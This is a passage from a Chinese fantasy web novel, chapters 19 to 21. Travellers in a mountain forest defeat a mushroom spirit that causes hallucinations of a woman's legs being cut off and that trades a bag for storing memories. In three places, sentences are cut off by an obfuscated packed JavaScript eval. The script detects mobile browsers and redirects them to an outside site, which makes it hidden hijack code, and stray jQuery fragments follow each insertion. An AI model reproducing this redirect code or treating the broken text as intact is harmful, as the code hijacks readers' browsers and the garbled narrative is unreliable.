姜满感觉右边肩膀有些酸,这种事很少在她身上发生,她早已习惯了这具异于常人的身体,毕竟无论什么样的躯体痛苦都会消失,她并没把这酸胀放在心上,靠在椅背闭目养神,手放在包里,轻轻摩挲着那面铜镜。 在幻境中见到张信德,的确叫她有些许惊讶。 张信德有东西留给她,他说,东西能交到她手上,就证明玄人已经知道她长生的秘密了,只是他的话还没说完,幻境就被打断了,一切化为乌有。 所以,为什么要把这个给她呢? 五方镜。五行为基,人心为引,欲念成幻,境幻五门,颠倒虚实,覆载幻真,欲惧痴缠,真亦是困。 她想起张信德离开天一疗养院时对她说过,她的身世与山有关,“长生仙去,从人从山”,世上山那么多,要说与她有关的,必然是拉尔塔格金山了,但张信德却并不打算要去哪座山,她问他去哪儿,他答非所问,曰:因果无常。 因果轮回,怎会无常? 张信德喜欢解字,四十多岁就喜欢了,那时候常来找她聊天,让她出字,他来参悟,二人因此也算知交,不过他的解字在姜满看来不过是胡诌,很快,她胡说八道的本事就超过了张信德。按说张信德就以记忆来算,也比她年长许多,但永远二十岁的脑子和逐渐衰老的脑子还是有区别,当然,不止是脑子。 所以后来,张信德渐渐不来了,他说,他身为道玄,却逃不过僧玄所说的天人五衰:衣服垢秽、头上华萎、腋下流汗、身体臭秽、不乐本座。他寿数将尽,想为天一道做些什么。 姜满笑他,凡夫俗子,妄称天人。 张信德笑而不语。 这些玄人,有些资历的,或者说是有些年纪的,都喜欢故作高深。 那么,在她让李妆娇发出那个视频之前,那些玄人为何会知道她的事呢?她不清楚有多少玄人知道,但九黎寨就是其中一个,他们处心积虑尾随跟踪,抢走阿卓,以此胁迫…… 这些人怎么知道的?知道多少? 不要相信任何人,包括……张信德吗? 19. 第一座山(19) 路越来越窄,他们的车略大,已经不可避免的碾压了小道旁的草,在无休止的颠簸中,车缓缓停下。 “车要停在这儿了,前面的路只能步行,我们在这里下车。”程书韫把车倒进了一块平地上,看车辙,这里像是时常用来停车。 薄临看向后座的姜满,“有两条路,一个是左前方这条小路;还有一条路,是右前方这片山,翻过这座山就到了。走山路显然近一些,小路应该是修给摩托车之类的走的。” 几人下了车。 麓川山多水多,风景秀丽,宜人,也宜昆虫鸟兽。 姜满看了看右前方的山,绿意盎然,她果断选择,“走这条小路,不爬山。” “那……她怎么办?”张云汉指了指车上。 车里还有一个昏睡的李妆娇。 姜满看看他,又上下打量一番,旋即道:“你背着。” 倒不是故意找张云汉麻烦,只是她觉得,应该让他锻炼锻炼身体,免得日后有麻烦。 张云汉的脸瞬间苦了起来,他暗自嘀咕着,“真不明白,为什么非要带着她来……” 不情愿归不情愿,他还是打开车门,连拖带拽,在程书韫的帮助下,把李妆娇背了起来。 程书韫锁好车门,张云汉的背包由姜满拿着,几人刚上路没走几步,却突然听到走在最后面的张云汉一声痛呼。 转头看去,张云汉捂着耳朵跪坐在地上,李妆娇像个猴子似的,往旁边的山里跑,看不出半点昏睡过的样子。 看来这个李妆娇醒了有一会儿了,伺机咬破了张云汉的耳朵,打算逃跑。 姜满闭上眼睛深吸一口气,“她要找死,随她去!” 薄临走了过来,“人是跟我们来到这里的,传出去是个麻烦,她没有爬山经验,跑不远,我上去看看。” 姜满没说话,这毕竟不是她的麻烦。 本身李妆娇就是薄家惹来的,至于后来一直带着她,一是为了她身上那个古怪的怨灵;二是因为她知道了一些事,如果到处胡言乱语,或者做出什么让他们头疼的事来,还不如放在身边看着;三…… 见薄临仅靠单臂用力,就能敏捷地攀着树往山上去,姜满看向远处绿意掩映间已然可见的山村屋舍。 这么偏的地方,应该不会再遇到玄人了吧? 她需要找个安静点的地方,再次开启五方镜,至少把张信德的话听完。 “吃点东西吧。”程书韫的声音传来,她给姜满递了一块面包和一盒牛奶。 姜满接过面包牛奶,眼神不经意一瞥,看见了程书韫的手腕,那上面有着像是一张白纸被反复撕开,又反复用胶水黏上的痕迹,歪歪扭扭的一条条,陈旧的、异于原本肤色的皮肤组织。 似是察觉到姜满的目光,程书韫拉了拉袖子,把手腕挡住。 姜满收回视线,并没说什么,转而看向了薄临爬上去的山。 他们肯定得等薄临,毕竟这是个提款机,就算这里用不到他,后面加油、还车、回檀州市等等,都离不开他,而且,倘若归山集团的这位少爷丢了,显然比李妆娇丢了,要严重许多。 不过,这些都不是姜满在意的事,她会同意带上他,只是因为,救回阿卓后,他是个不错的器皿。 撕开面包才咬了一口还没嚼两下,姜满听到山上传来了李妆娇的惨叫声,这声音歇斯底里,堪称惨绝人寰。 在原地等待的三人都停住了动作,齐齐朝山上看去,但除了满眼的树木植物,他们什么都没看见。 听声音远近,李妆娇的位置并不算很远,这会儿的时间,薄临应该已经找到她了,可是……薄临又去哪儿了?发生什么事了? 姜满闭了闭眼,有些烦躁地放下面包牛奶,把张云汉的背包丢给了他,从自己包里拿出一把扇子,“走吧,从这条路进村。” 如果可以选,她这辈子也不想到这种生命力旺盛的地方来,但这不代表她不能来。 她记得很清楚,在她多年前醒来的时候,那时的她已经成[空],但她不知道如何形容那种感觉,就好像人碰到火会感受到灼痛,所以不会再碰火,但为了温暖又想靠近,那种生命力,不,不止是生命力,只要是灭杀后能让她成[空]的,她知道,不能碰,这是她那还是一片空白的人生里,学到的第一个“不能”。 这是一种无法描述的感觉,她不确定那时是不是和现在的认知一样,这些生命力像火,但不是火,她可以看到它们,也可以接近它们,在她掌握人类许多行为和语言之后,她也可以杀了它们,但是它们在她眼中是不一样的,是可见的。 就像她刚离开紫微山时,遥遥看到的那个村子,她可以看到那个地方有很多人,也有很重的阴气,即,灵。 所以对她而言,身上最有用的,就是这双眼睛,不仅能看到这些,还能看到灵所在的维度,以及很多有用的信息。 她因为这双眼睛,可以准确选择最安全的路,眼前这座山也不例外,像是她第一次遇到薄临的那场车祸,她下去救薄临的土坡也有这种生命力,且它们之中,尤其是植物,是最不容易死的,死灰复燃四个字,在姜满眼里,最适合形容植物。 但,哪个正常人会明知山有“火”偏向“火”山行? 三人收拾了东西,由于张云汉的耳朵被李妆娇咬出了血,但这里也不是治病疗伤的地方,简单涂了些药就算处理了伤口,然后他背着自己和薄临的包跟在姜满和程书韫身后,上了山。 姜满手里握着的扇子,是檀州的檀香扇,这种扇子带着淡淡的香味,工艺倒是不算考究,是一把寻常可见的折扇,优势就是轻巧便携,放在包里不占地方。 她像是很喜欢这个味道,摊开扇面,掩在鼻尖,却并不扇风,右肩的酸痛并未缓解,她是用左手拿的扇子。 麓川的天气也不算很热,但几人体力消耗下,燥热感也已经爬上了身体发肤,落在后面的张云汉最甚,额头已经有汗珠滑过鬓角。 张云汉原本心里是很委屈的,但给他上药的是程书韫,这委屈瞬间也就去了大半。不过,他仍是不能理解,为什么偏偏要带着李妆娇,还不惜要书韫妹妹劳心费神的给她施术。 他看看走在前面的姜满,越想越觉得这其中定是有什么缘故。 说起来,他总觉得大长老对薄临的好感来得莫名其妙,但是如果换作是他,遇到薄临这样有用的人,留在身边的同时,会不会怀疑,这个人有什么别的用心呢? 答案是肯定的! 张云汉恍然大悟,再度对姜满刮目相看。 这是制衡之策啊!从他们几人住到薄临家后的日子开始,只要有薄临在,李妆娇到底是有所收敛的,同样的,薄临似乎因为李妆娇这个女人的手段与身份,不能拿她怎么样,甚至束手束脚…… 他正洋洋自得于自己的分析,忽然看见前方情景,目光一滞,大脑一片空白。 “她的腿……” 眼前一棵树,李妆娇双手被藤蔓缠缚,高高的吊在树干上,裙子下空空荡荡,她的腿……从膝盖往下,被齐齐砍断了!血止不住的流,稀稀拉拉的滴在草地上,她的脸色惨白,人已经昏死过去了。 那双新鲜的断肢东倒西歪在泥地上,旁边不远处,薄临像是被打晕了,额头淌着血,躺在地上闭着眼,一动不动。 姜满皱着眉,没挪开扇子,也没说话。 “这……”程书韫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765429|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些不忍看,偏开头,一时不知道说什么。 张云汉下意识往前,挡在了程书韫面前,“书韫妹妹别看!这……到底是什么人干的?会不会是刚刚那对拦路夫妻?他们跟踪我们?我之前看那个男人恨不得杀了李妆娇……” 程书韫摇摇头,“我们开车,开了这么久,路就这一条,除了我们,一辆车都没看见,他们怎么跟?” 他们说话的功夫,姜满已经上前去查看薄临的情况了。 山林中好像不知什么时候开始,变得静谧无声,别说虫鸣鸟叫,就是连一点风吹草动都听不见。 茂密的枝叶挡住了头顶的阳光,刚才不觉得,此刻,这山林里莫名有一种阴森的氛围,泥土湿润,高草里隐约可见久经风霜的枯木败枝,最诡异的是,这种地方,一点声音也没有。 三人都没有再说话,似乎都察觉到了不对。 张云汉和程书韫看向了走到薄临身旁的姜满,这位大长老虽然古怪,却是此时最能给人安全感的人。 就在这时! 一只苍老的手缓缓搭在了姜满的右肩上,沙哑又缓慢的声音在这安静得离谱的山林中,格外清晰。 “姑娘,算命吗?” 姜满屏住呼吸瞬间矮身前翻,顺势借力站起然后转身,动作一气呵成,像是本能反应一般,避开了那只苍老的手。 此人年近花甲,男,个头不高,穿着破旧的黑布褂子,脏兮兮的,还有霉斑,佝偻着背,拄着根树干做的简易拐杖,戴着黑布裹成的流苏盘帽,树皮一般的脸上皱纹遍布,像个寻常山民,值得留意的是,他的双眼虽然睁着,眼球上却蒙了一层白翳,眼神无光,没在看姜满。 他,是个瞎子。 老爷子面带微笑,这笑容把他脸上的沟壑显现得更加分明,那深深浅浅的沟壑发黑,像是嵌着污泥似的,但这张脸上却是看不出半点敌意。 他的手落了空,于是收了回去,两手抱住了一侧的拐杖,缓声道: “姑娘别紧张,老朽只是个算命的,途径此地,听到有人,故而想换点饭食,并无恶意。” 他官话说得很好,听不出半点口音。 姜满仍用扇子掩在鼻尖,一言不发。 “姑娘要是不算命,就当老朽结个善缘,你当看看你的右肩,老朽不才,方才那一搭,虽是有些冒犯,却摸到些不寻常的东西。” 姜满穿着短袖,外面套着一件蓝纹白底的格子衬衫,隔着两件衣服,能摸出什么? 她侧过脸,换成左手拿着扇子,然后伸手摸向自己的右肩。 什么都摸不出来…… 对了,还有一个人搭过她的右肩!给她五方镜的那个女人! 右肩颈的酸胀感此时被放大,姜满皱着眉,拉开衣领,却什么也看不见,然后程书韫走了过来,她比姜满矮些,但看这个位置也并不费力。 “有一个奇怪的图案,黄色的,像……弯曲的、被拉长的水滴。”程书韫说。 姜满闭了闭眼,把程书韫挡在身后,抬眼看向那个老人,隔着扇子说:“我们不算命,善缘也当你结了,你走吧。” 老爷子笑呵呵的,“好,好,惊扰姑娘了,老朽这就走。” 他转过身的瞬间,姜满飞快地用手中扇子往外一扇,而后捂住口鼻转过身,另一手手捂住了程书韫的口鼻。 张云汉呆呆地站在原地,如同石化,眼前的情景比李妆娇双腿被截断还要瘆人。 老爷子的后背衣衫破了个大洞,破损处几乎与皮肉长到了一处,露出来的皮肤上,这或许不能称之为皮肤,他的整个后背,长满了各种叫不上名字的菌子,密密麻麻,大小不一,只看一眼都能叫人遍体生寒。 20. 第一座山(20) 姜满瞥了一眼张云汉,心知已经来不及救这个蠢货了,眼下只能先护着程书韫,尽量离那个老爷子远些。 几乎被姜满搂在怀里的程书韫完全不知道发生了什么,但身为玄人,对这种诡异危险来临时的嗅觉还是有的,她也很清楚,身边这个姜满,天一道大长老,必然深不可测,如果有心害自己,自己早就中招了,所以她虽有疑惑,却没动。 那瞎眼算命的拄着拐杖,颤颤巍巍走了两步,又回过头来,“对了姑娘,你既说了善缘已经结下,那老朽能否用宝贝换些饭食?” 姜满捂住自己和程书韫口鼻的手没松,转头看向那略显诡异的老人,“什么宝贝?” 这世间邪祟鬼怪姜满自然是不怕的,但显然,有了同伴就是有了麻烦,一旦他们被蛊惑,对姜满来说,都是不可预估的意外,这些意外很有可能会把她推向[空]的深渊,故而她虽然有所警惕,却并不惊慌。 老爷子扶着身旁一棵树,缓缓举起拐杖,拐杖的另一端直指茂密枝叶挡住的天空,“上面的东西,老朽祖上传下来的,可以装东西。”说罢,他放下拐杖,从怀里掏出来一个灰扑扑的布袋子,然后想要往前走几步,好递给姜满。 “你站着别动。”姜满眉头微蹙,她开始怀疑,这个不知是人是鬼的老瞎子,是不是精神不太正常。 身旁的程书韫碰了碰姜满的手,眼神询问,是否可以自己捂住口鼻,姜满点点头,在她耳边轻语了几句,然后放开了她,又朝她使了个眼神,示意她去帮张云汉。 还傻愣在原地的张云汉看上去的确很不对劲,他眼神呆滞,嘴巴微张,脸上的肌肉时而微微抽搐,如同中邪一般。 此刻,姜满倒是轻松一些,两个醒着的没问题,两个晕了的问题也不会大,她现在只想赶紧把这个老瞎子打发走。 老人再度开口,声音苍老中带着点悲凉,“不换吗?老朽真的……有点饿。” 姜满向前两步,二人相距几步远,她捂住口鼻的手一刻未松,“不换,你走吧。” “不考虑考虑吗?老朽这宝贝什么都能装得下,刚才老朽还用它装了个梦来着,姑娘你看看?”说着,他伸手掏进袋子里,拿出什么东西来向姜满声音的方向伸出手,然后摊开掌心。 他的手掌中躺着一个小小的白色蘑菇,伞盖像个小钟,看起来白白嫩嫩,末端还有些新鲜泥土,像是刚采摘的。 姜满转而打量起他手里的袋子,她记性很好,刚刚这个布袋子分明是瘪的,怎么可能放着这个小蘑菇?障眼法?不可能,她的眼睛向来厉害,真是障眼法怎么可能骗得了她?难道她也中招了?还是说,这袋子真的有点名堂? “你这宝贝有什么名字吗?”姜满问道。 老人拄着拐杖摸索着往前,似乎想离姜满更近些,“名字老朽不记得了,但是姑娘可以先看看这个梦,再决定要不要换。” 姜满腾出一只手,接过了老人递过来的白蘑菇,触碰到蘑菇的刹那,她愣住了。 静止的画面,像是在某个很大的礼堂,有舞台,暗红丝绒的帘幕撩在两侧,耀眼的舞台灯光照向浅黄色的地板上一群女学生,她们穿着白衬衫红裙子,头发梳成马尾,上面夹着漂亮的红色蝴蝶结发夹。 接着,画面快速的动了起来,这一群女孩在上面唱歌,随着音乐摇晃着身体,每个人脸上都洋溢着笑容,歌曲很快就唱完了,掌声雷动,有人上台致辞,然后许多人一起与女孩们合影,画面忽然一转,那些女孩中的几个坐上了宽敞的商务车,车开进了一条山路…… 梦定格在了某个女孩兴奋的笑脸上。 这一切在姜满脑海中过得很快,不过几个眨眼的功夫,梦醒时分,姜满看向老人的眼神已经变了。 在那群女学生稚嫩的脸庞中,姜满看到了两个熟悉的面孔,一个叫李秀娟,如今的李妆娇;一个叫姚雪菲,那个跟着李妆娇的怨灵。 即便那时她们不过十多岁的年纪,容貌依旧可以辨认,况且,商务车开向的山路,就是薄家庄园路,她们去的地方,就是薄宅。 “怎么样?姑娘,老朽没骗你吧?这布袋子真的是宝贝!”老人笑着说。 姜满看向手里的白蘑菇,“一个蘑菇一个梦?” “也不一定是蘑菇,什么都可以,只不过,老朽比较喜欢蘑菇。” “好,我跟你换,你要吃的是吧?”姜满卸下自己的背包,从里面拿出面包牛奶递给老人,“这些够吗?不够我让我的同伴们再拿些给你。” 老人伸着脖子闻了闻,摇摇头,“姑娘,老朽可不吃这个。” “那你要吃什么?” “饭食老朽已经选好了,你们把她留下,老朽这宝贝你带走,如何?”老人往一侧挪了几步,离树上吊着的李妆娇近了些。 “你要吃她?”姜满皱起眉头,“你到底是什么东西?” 老人依旧笑着,“姑娘可想清楚了,这吊着的姑娘如今已经没了腿,你们带着她,去哪儿都不方便,况且,应该你们几个人,都不太喜欢她吧?” 姜满虚眯起双眼,“没了腿……” 听到姜满的话,老人有些惊讶,蒙了白翳的混浊双眼也跟着瞪大了些,而后恢复原状,带着笑,“是老朽小瞧姑娘了,不过,姑娘你要是舍不得她,老朽也可以接受刚才你身边那个姑娘。” “我为什么会舍不得?不过,你喜欢吃姑娘?”姜满看向程书韫和张云汉,使了个眼神,这个眼神带着分明的杀意。 “不是舍不得就好!不是舍不得就好啊!也不一定是姑娘,老朽只吃自个儿鼻子选的,这个吊着的姑娘,实在香得很啊!” “香……”姜满微微挑眉,“我对你那个布袋子很感兴趣,不过,你要先回答我一个问题:如果我拿她跟你换这个布袋子,是不是代表她的死,是我害的?” “这是当然,你拿她换了老朽的东西,那不就说明,她是你的东西吗?好比你养只猫养只狗,跟人换了钱,那猫狗要是死了,自然是你害的。” “那就对不起了,我们不换——” 姜满话音刚落,随之一脚踢飞了老人的拐杖。 先前就收到眼神信号的程书韫也飞跑过来,手上捏着黄符箓,贴在老人额头,口中念念有词。 张云汉还有些懵,他的脸上被程书韫用一条丝巾蒙住了口鼻,不过好在他显然是听懂了程书韫的交代,不管不顾地上前抱住了那个老人,好让程书韫作法。 姜满看着这两人的配合,总算松了口气。 上山之前,她就看出这山中有不寻常的生命力,从腐朽中萌芽,喜阴喜湿,她只是有所猜测,也不想打草惊蛇,所以她没有声张,仅用扇子掩住口鼻。 但这无论是什么东西,她都是杀不得的,所以刚才交代程书韫动手,好在程书韫并未让她失望。 西山圣,南山妖。 这气候环境越适宜,山中越容易养出精怪。 这边的程书韫贴出一张黄符,紧接着,从牛仔外套的口袋中掏出一只毛笔,沾了舌尖血,在老人身上虚画着什么,然后一声大喝“破”! 此言一出,老人瞬间软了下去,连着衣服一起,化成了一滩黑水。 这时,程书韫倒有些惊讶了。 “这术法……没这么厉害……吧?” 事实上,她只是施展了把妖物打回原形的符术。 姜满看向那一滩逐渐被泥土吸收的黑水,上面躺着一个布袋子,既没化为水,也没沾上水。 她走过去,捡起袋子,却有些犹豫。 怎么会这么巧? 她需要看见记忆的办法,五方镜就送到了她的手上,这尚且可以归功于张信德有某种未卜先知之能,紧接着,保存记忆的办法,这个老怪物也给她送来了,一个什么都能装的布袋子,甚至,还让她看到了李妆娇的记忆…… “姜满,现在怎么办?”程书韫舌尖被自己咬破,此时说话有些大舌头,但声音还是一如既往的温柔。 姜满看向她,把布袋子收进背包,然后从背包里取出一瓶水,“你也用水洗洗,包括露出的皮肤,还有口鼻。” 说着,她拿着水瓶朝张云汉走去,一把扯掉了他脸上的丝巾。 张云汉愣愣地看向姜满,然后满脸惊恐道:“大长老,好、好多血… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772948|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …李妆娇被分尸了!” 姜满敲了一下他的脑袋,“分你个头!”接着,她拧开瓶盖,揪住他后脑勺的头发,不由分说,把水灌进他的鼻腔、口腔,然后浇在他脸上。 张云汉被呛得咳嗽不止,脸涨得通红,缓了半天看向姜满,“大长老,您这是……” “去,把李妆娇弄下来。” “把李妆娇弄下来?可是她——”张云汉看向被吊着的李妆娇,不由地愣住了。 哪里有什么分尸,连腿都好好的长在李妆娇身上。 他咽了咽口水,“怎么会?难道,刚刚都是……幻觉?” “你知道麓川山里人常吃的一种食物是什么吗?” 张云汉眨眨眼,不明所以。 “你吸入了孢子,这老头八成是个菌子化形的精怪,有些菌子能致幻,菌子怪的本领也无外如此。” 所以,老瞎子选择了李妆娇作为饭食,这个灵魂可以称之为腐朽的人,不过…… 姜满看向了程书韫,嘴角带起一丝笑意。 这因各种巧合缘故凑在一起的五人组,似乎每个人都很有意思。 张云汉又问了几句有的没的,然后从包里取出一把匕首,艰难地攀上了那棵吊着李妆娇的树。 他一边割着缚住李妆娇双手的藤蔓,一边看向还处于昏迷的薄临。 “这小子运气倒不是一般的好,什么也不知道,什么也不用做,睡一觉就什么事都没了……” 姜满听着张云汉的嘀咕,看向薄临。 是啊,既够聪明又有运气的富家公子,怎么会对付不了一个李妆娇呢?不过她并不那么在意,活在世上的人,谁还没有秘密呢?只要这些秘密别招惹到她就行。 一声坠地声响,李妆娇被放了下来,掉在了草地上,往下滚了两圈,身上的连衣裙破了也脏了,她缓缓醒了过来。 李妆娇撑着地坐起,渐渐醒过神来,眼神瞬间变得无比惊恐,“啊——我的腿!我的腿!”她一边尖叫着,一边捂住自己的裙摆,脸上的痛苦与害怕一点儿也不像装出来的。 张云汉叹了口气,一边从树上下来,一边对她喊道:“你腿没事,好着呢!不信你站起来试试?” 李妆娇完全听不进去,脸色惨白,额头全是疼出来的汗珠,哭喊着,“我的腿没了!我的腿!好疼!快帮我止血啊!都是你们害得!都是你们!我要你们偿命!你们把我的腿还给我!我要杀了你们!杀了你们……” 程书韫走过去,给她当头浇了半瓶水,却仍不见好转,于是又拿出一瓶水像姜满对张云汉那样,灌入她的口鼻。 李妆娇拼命挣扎,眼泪鼻涕和水混在她花了的脸上,她像个疯子一样奋力推开程书韫,大声嚎啕,话中意思就是说他们用迷药把她带来这里,处心积虑就为了在深山老林把她的腿锯断,然后好霸占薄家的资产。 她言辞污秽,声音尖利,令人烦躁无语。 姜满看起来倒是难得的心平气和,她走过去,用布条把李妆娇的膝盖上面那一圈紧紧扎了起来,然后用药擦了擦她的腿,接着又用纱布把她的膝盖包扎起来。 “李妆娇,你的腿已经没了,我们会帮你止血,后面有机会也会给你找个医生,说不定你的阿临还会给你安装假肢,但你要再闹,我们就把你丢在这儿。” 张云汉和程书韫面面相觑,他们已经脱离了幻觉,此刻看的很清楚,李妆娇坐在那儿,别说是腿,浑身上下,一点出血的伤都没有。 “伤口”被处理过的李妆娇稍稍平静了一些,她恨恨地瞪着姜满,“你这个贱人!这都是你的奸计!我迟早要杀了你!你别以为我不知道你在想什么!告诉你!少威胁我!你们根本不会丢下我!我对你们有大用处!我劝你最好赶紧把我送去医院!不然,我绝对不会帮你们!” 姜满听得笑出声来,“原来你这么有用啊!不过,既然你想杀我,我就给你个机会。” 她蹲了下来,背对着李妆娇,“我们要去山那边的村子,路上我背你,这一路就是我给你的机会,到了村子,你要是杀不了我……”她笑着回头看向李妆娇,“李妆娇,你就该还债了。” 21. 第一座山(21) 张云汉听到姜满的话,浑身一个激灵,好像如梦初醒似的,赶紧上前,把姜满拉到一边。 “大长老,您这是做什么?您真不怕她动手?她可不是会被吓唬住的人,您看我耳朵……” 他压低声音,着急地劝说着,然后把自己结了血痂的耳朵给姜满看。 姜满笑了笑,“所以啊,除了我,谁带着她我都不放心。” 张云汉闻言一愣。 他是真没想到,大长老竟然这么的……舍己为人。 “大长老,说实话,我真没想到您是这么好的人,我以前还觉得您不好相处……挺,不好意思的。”他低着头,不知道为什么,夸奖别人让他觉得有些不好意思。 姜满看看他,“不用不好意思,你也不闲着,你负责背他。”她指了指薄临。 “啊?”张云汉眨了眨眼,却说不出话来,毕竟除了他,没人能背这小子了,他不可能让书韫妹妹动手的。 也罢,可他总觉得…… “好的,不过大长老,我们就非得带上李妆娇不可吗?这人到底有什么用?您不能给我透个底吗?” “她能有什么用?”姜满看向还在昏迷的薄临,“不过是,一来不能让她死在我手上,二来,我不想让她祸害提款机,导致我们缺钱。” “提款机?” 这边二人正说着话,那边的李妆娇忽然嚷嚷起来,“我不要!我不要你这个贱人背我!你当糊弄谁呢!鬼知道你又要做什么下贱事!我……你叫张云汉对吧!本小姐屈尊降贵,同意了!张云汉,你来背我!” 她的指尖深深嵌入泥土里,脸色苍白,声音尖利却有些颤抖,显然疼得厉害。 事实上,此刻李妆娇的腿疼得撕心裂肺,可是她知道,她绝不能让他们得意,而且,她可是阿临的未婚妻,只要熬到阿临醒了,他一定会帮她的! 张云汉眨眨眼,“你想什么呢!我才不背你!” 接着,无论张云汉说什么,李妆娇都笃定只让张云汉背,闹腾的没完没了。 此刻山中早已恢复了热闹,虫鸣鸟叫不绝于耳,姜满等得有些烦了。 “李妆娇,你不是要杀我吗?怎么?现在改主意,要杀他了?” “我不管,我只要张云汉背我!不然,不然我哪也不去!”她声音的音量已经没有那么大了,掩不住的虚弱,看起来像是真的断了腿的样子。 姜满点点头,“行,张云汉,你背她,她要是再对你做什么事,她这一双手也不必留着了,到时就由你砍了吧。” “啊?”张云汉一愣,显然没想到大长老竟然就这么答应了。 这事怎么想都不对,是大长老亲口说的,谁带着李妆娇她都不放心的,而且,另一个人就要背薄临,那可是个男人,她总不至于要和书韫妹妹一起抬吧? 姜满看看张云汉,“愣着干什么?快去啊!都耽误多久了,我们赶紧到地方歇着吧。” 她的确不怕李妆娇要杀她,因为根本没人能杀她,但她很清楚,李妆娇要是不愿意被她带着,在她身上胡闹起来,万一出了什么岔子,害得她杀了什么东西,实在是太不划算。 反正,等到了村子,她就可以好好研究一下,怎么样在保住怨灵记忆的情况下,超度怨灵了。 张云汉还想说什么,却看见姜满走到薄临身旁,放下背包,把他的手臂往肩上一拉,无比轻松地顺势就将薄临背到了背上,然后提起背包就准备走了。 “薄临怎么办”的话到了嘴边,眼见如此,他也没了办法,只能朝李妆娇走去,再度背起了这个明明双腿好好的,却自称腿断了的李妆娇。 “我帮你。”程书韫上前帮姜满提走了背包,然后在前面带路。 这座山并不算陡峭,从山上草的长势来看,应该常有山民会从这里走,几人沿着一条踩出来的,却不那么分明的小土路走着,日头当空,他们终于到了那个小山村。 许是因为太疼,张云汉背着的李妆娇也没了声音,像是睡着了。 现在正是中午饭的时间,山村飘出来的饭菜香在临近时就已经钻进了大家的鼻子,牵动着肚子里的饥饿感,发出咕咕的声响。 精神与体力的消耗让这几个只吃了面包牛奶的成年人,难免有些急切起来。 因为薄临的存在,他们这五人组没缺过钱,在出发前也换了很多现钱在身上,有钱好办事,程书韫敲开了一户看起来院落干净,且房屋看起来比较新的人家。 主人家是一对纯朴的老夫妻,衣服着装和那个老怪物倒是很像,说着听不懂的方言,显然程书韫和他们语言不通,好在给钱加比划,对方明白了他们的意思,把他们迎进了门。 正好这户人家里两个孩子外出打工,有两间不大的空房间,虽然堆满了杂物柴火之类的,收拾一下,也能先住着。 这种偏僻小山村自然是不可能有什么旅馆的,原本几人就是打算住在当地人家里,眼下住的问题算是解决了。 现在正是中午吃饭的时候,村子没什么人,家家户户不是在吃饭,就是吃完后午休,村子显得很安静。 老人家收了钱,大娘忙着加菜添饭,老爷子开了坛酒,说了一堆大家听不懂的话,比划着,让他们坐下吃饭喝酒。 大娘到院子里的厨房去,正好路过背着薄临的姜满,又笑着叽里咕噜拉着姜满说了好多话,脸上满是惊讶,见姜满听不懂,然后朝姜满竖了个大拇指,大概是想说姜满这个小姑娘力气真是大,真是厉害。 李妆娇醒了过来,被放在了一张椅子上,然后张云汉和程书韫赶紧去一间房里简单收拾了一下,把靠在墙边的床板放下来,然后临时铺了几件衣服,就把薄临放了上去。 忙完这些,姜满三个重新回到正屋,坐了下来。 桌上只有两个菜,一盆毛豆炖笋子,还有一碗炒的绿叶菜,看不出是什么菜,大娘在厨房忙活了一阵,不一会儿又端上来一盘咸肉炒菌子,张云汉拦住还想忙活杀鸡炖汤的大娘,意思简单吃点就行,又比划着交流了半天,总算是安生下来。 张云汉是不敢吃菌子了,程书韫和姜满倒是没什么心理负担,大娘好心的给靠墙坐着的李妆娇端了一碗饭,在饭里夹了许多菜。 通过比划,大娘夫妻应该是能理解,这个李妆娇的腿不好使了,故而,大娘对她态度也格外和善,所幸“断了腿”的李妆娇也没劲再折腾了,接过饭碗大口吃了起来。 山里饭菜好像特别香,几人吃的很满足。 不过,语言不通的确麻烦,而且,这对老夫妻,还不认识字。 吃过饭,对这些都毫不在意的姜满走到另一间屋子,关上了房门,嘱咐谁都别来打扰她。 这间屋子里靠墙摆着许多柴火稻草,梁上还挂着黑乎乎的咸肉,环境对姜满来说有些脏乱,她环视一圈后,随地找了张废纸,然后剪裁成纸人的形状,划破指尖,滴了一滴血在上面,然后对着纸人念念有词。 不一会儿,纸人动了起来,穿梭在整个房间的各个犄角旮旯、柴堆缝隙,然后像是有什么魔力一般,把虫子之类的活物全部赶了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14782015|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去。 纸人重新回到了姜满手上,她看着手心的纸人,又想起了张信德。 说起来,这个术法最开始,还是张信德教她的,后来,她不仅用的很好,还自己改进了很多,但当她告诉张信德她改进后的方法时,张信德却说,只有她能用。 不过,这种以物化形的术法本身就维持不了太久,再厉害也只是片刻。 清场完毕后,她再次拉开自己的衣领,试图看看那右肩上的印记。 她还真不知道这是什么东西,但到现在为止,除了带来一点肩颈的酸胀感,其他什么反应都没有。 眼下这些都不是要紧事,最要紧的,是解决她身上的那个最大的秘密——破除诅咒。 五方镜和老怪物的布袋子都被她拿了出来。 